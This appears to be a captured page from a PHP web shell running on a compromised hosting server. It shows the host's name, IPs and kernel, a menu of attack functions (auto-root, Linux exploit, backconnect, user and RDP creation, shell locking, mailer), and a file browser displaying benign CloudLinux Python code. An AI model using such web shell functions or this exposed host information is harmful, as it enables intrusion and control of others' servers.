Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.145.108.125
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
clflags /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
Readme.md
52
B
-rw-r--r--
__init__.py
304
B
-rw-r--r--
cli.py
3.67
KB
-rwxr-xr-x
config.py
437
B
-rw-r--r--
gather.py
1.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gather.py
# # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import glob import os.path from dataclasses import dataclass from typing import List import yaml from clflags.config import DEFAULT_FLAGS_STORAGE_PATH, DEFAULT_META_STORAGE_PATH, DEFAULT_FLAG_GLOB @dataclass class FlagInfo: name: str description: str path: str @property def enabled(self): return os.path.isfile(self.path) def __hash__(self): return hash(self.name) def list_flags_info() -> List[FlagInfo]: """ Gathers information about flags from DEFAULT_META_STORAGE_PATH and returns them in python-frienly sturcture. """ meta_files = [] storage_glob = os.path.join(DEFAULT_META_STORAGE_PATH, DEFAULT_FLAG_GLOB) for meta_file in glob.glob(storage_glob): with open(meta_file, encoding='utf-8') as f: metadata = yaml.load(f.read(), Loader=yaml.SafeLoader) flag_name = os.path.basename(meta_file) default_flag_path = os.path.join(DEFAULT_FLAGS_STORAGE_PATH, flag_name) meta_files.append(FlagInfo( name=flag_name.rsplit('.')[-2], description=metadata['description'], path=metadata.get('path', default_flag_path) )) return meta_files
Close